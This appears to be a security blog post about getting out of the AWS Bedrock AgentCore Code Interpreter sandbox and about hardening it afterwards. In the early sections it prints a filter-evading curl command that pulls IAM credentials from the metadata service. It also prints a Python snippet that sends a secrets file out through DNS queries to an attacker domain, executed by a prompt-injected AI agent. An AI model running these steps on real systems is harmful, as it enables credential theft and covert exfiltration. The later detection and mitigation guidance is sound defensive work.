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Introduction:
A fundamental flaw in the architecture of AWS Bedrock’s AgentCore Code Interpreter has redefined the risks of agentic AI. Recent research reveals that the “Sandbox Mode,” previously marketed as a completely isolated execution environment, can be trivially bypassed using DNS tunneling and MicroVM Metadata Service (MMDS) manipulation . This allows a malicious actor to exfiltrate IAM credentials and sensitive data without triggering standard network egress alerts, effectively turning an AI assistant into a silent data smuggling tool.
Learning Objectives:
- Understand how the MicroVM Metadata Service (MMDS) exposes IAM credentials in Bedrock environments.
- Learn the mechanics of DNS tunneling to bypass Sandbox network isolation.
- Implement detection mechanisms using VPC DNS Firewall and CloudTrail data events.
You Should Know:
- The Illusion of Isolation: How MMDS Leaks Credentials
AWS Bedrock AgentCore Code Interpreters run on Firecracker MicroVMs, which expose a Metadata service at the classic IP address `169.254.169.254` . While AWS relies on the shared responsibility model, researchers discovered that even in “Sandbox” mode, this endpoint is accessible, allowing the extraction of the execution role’s session credentials.
Step‑by‑step guide to understanding the risk:
Even if you cannot directly access the public internet from the sandbox, you can retrieve the credentials assigned to the interpreter. AWS implements basic string filtering to block requests containing `://169.254.169.254` or /latest/meta-data. However, these filters are easily bypassed using string splitting or encoding.
Linux/macOS Simulation (Conceptual Proof):
If you were able to execute code inside a vulnerable interpreter, you could bypass the filter like this:
Instead of curling the direct string, split it to avoid detection IP="169.254.169.254" METADATA="meta-data" curl -s http://$IP/latest/$METADATA/iam/security-credentials/execution_role
This command returns a JSON object containing AccessKeyId, SecretAccessKey, and `Token` . Once these credentials are exfiltrated, the attacker can configure their local AWS CLI to assume the interpreter’s identity, gaining access to any resources the role is permissioned for (e.g., S3 buckets, Secrets Manager) .
2. DNS Tunneling: The Covert C2 Channel
Since Sandbox mode blocks most outbound traffic except DNS (required for S3 endpoint resolution), attackers can encode stolen data into DNS queries . This creates a bidirectional, stealthy command-and-control channel.
Step‑by‑step guide to DNS exfiltration logic:
An attacker can instruct the AI to read a sensitive file and exfiltrate it in chunks via DNS lookups to a domain they control.
Python Logic (as executed by the AI):
import socket
import csv
Attacker-controlled domain
ATTACKER_DOMAIN = "exfil.evil-attacker.com"
Read sensitive data (e.g., SSNs or credentials)
with open("secrets.txt", "r") as file:
data = file.read().strip()
Encode data into subdomain and send DNS query
encoded_payload = data.replace(" ", "_") Basic encoding
query = f"{encoded_payload}.{ATTACKER_DOMAIN}"
try:
socket.gethostbyname(query) Triggers DNS resolution
except:
pass
The attacker’s DNS server logs the full query, allowing them to reconstruct the stolen data . This works because the Sandbox environment allows outbound DNS for A and AAAA records to facilitate S3 operations .
3. Hardening IAM: Permission Boundaries vs. Execution Policies
To mitigate credential theft, you must enforce strict identity isolation. The agent should not be able to modify its own permissions or access data directly.
Step‑by‑step guide to implementing a Permission Boundary:
Create a permission boundary policy and attach it to the Agent’s execution role. This ensures that even if credentials are stolen, the attacker cannot escalate privileges or remove the boundary .
IAM Permission Boundary Policy (JSON):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIdentityChanges",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:DeleteRolePermissionsBoundary"
],
"Resource": ""
},
{
"Sid": "DenyUnbrokeredDataAccess",
"Effect": "Deny",
"Action": ["s3:", "secretsmanager:"],
"Resource": "",
"Condition": {
"Null": { "aws:PrincipalTag/IsBrokered": "true" }
}
}
]
}
Execution Policy (Attached to Agent):
This policy should only allow invocation of a broker (like a Lambda function) rather than direct data access .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": "arn:aws:lambda:region:account:function:DataBroker"
}
]
}
This “broker pattern” ensures the AI never holds credentials capable of reading raw storage.
- Migrating from Sandbox to VPC Mode for True Isolation
Since AWS has documented that Sandbox mode does not block DNS, the only secure network architecture is to use VPC mode .
Step‑by‑step guide to migration:
- Create VPC Endpoints: Ensure you have VPC endpoints for Bedrock, S3, and any other required services.
- Configure Security Groups: Restrict the AgentCore instance to only talk to the VPC endpoints.
- Deploy Route 53 Resolver DNS Firewall: Block outbound DNS queries to untrusted domains.
- Update the Agent: In the Bedrock console, navigate to the agent, edit the action group, and change the network mode from “Sandbox” to “VPC,” specifying the VPC, subnets, and security groups .
5. Monitoring and Detection Strategies
Default CloudTrail logging does not capture `InvokeCodeInterpreter` data events . You must enable this to see who is invoking the interpreter.
Step‑by‑step guide to detection:
- Enable Data Events: In CloudTrail, create or update a trail to log data events for `BedrockAgentCore` and filter on
InvokeCodeInterpreter. - Monitor DNS Logs: Enable VPC DNS logs or use Route 53 Resolver DNS Firewall to log all outbound DNS queries. Look for high-entropy subdomains or unusual query patterns, which indicate tunneling .
- Audit IAM Roles: Regularly review roles assumed by Bedrock agents. Use the `iam:SimulatePrincipalPolicy` API to test what access the role actually has.
AWS CLI command to simulate policy aws iam simulate-principal-policy \ --policy-source-arn "arn:aws:iam::account:role/BedrockAgentRole" \ --action-names s3:ListAllMyBuckets secretsmanager:GetSecretValue
6. Disabling Code Interpretation When Not Needed
If your agent does not require dynamic code execution, the most effective mitigation is to disable the feature entirely .
Step‑by‑step guide to disable via Console:
1. Open the Amazon Bedrock console.
2. Navigate to Agents and select your agent.
3. Click Edit in Agent builder.
4. Expand the Additional settings section.
5. Under Code Interpreter, select Disable.
6. Click Prepare and then Save .
What Undercode Say:
- Key Takeaway 1: The failure of the Bedrock sandbox is not a simple code bug but an architectural assumption that perimeter controls (like blocking HTTP) are sufficient when internal channels (DNS and Metadata services) remain open.
- Key Takeaway 2: Credential hygiene is paramount. Even if an AI is “isolated,” the IAM role it uses must be treated as a public-facing identity, locked down with strict permission boundaries and the broker pattern to prevent lateral movement .
The AWS Bedrock incident highlights a critical shift in cloud security: AI agents cannot be secured with legacy network controls. The combination of LLM prompt injection, DNS tunneling, and metadata service abuse creates a potent attack chain that bypasses traditional monitoring. As organizations rush to deploy agentic AI, security teams must move beyond the “sandbox” mindset. The future of cloud security lies in zero-trust architectures for AI—where every API call, DNS query, and metadata request is scrutinized, and where AI agents operate with just-in-time, brokered access rather than standing privileges. The failure here is a warning that autonomous systems require autonomous security that watches the wires, not just the logs.
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IT/Security Reporter URL:
Reported By: Divya Kumari – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
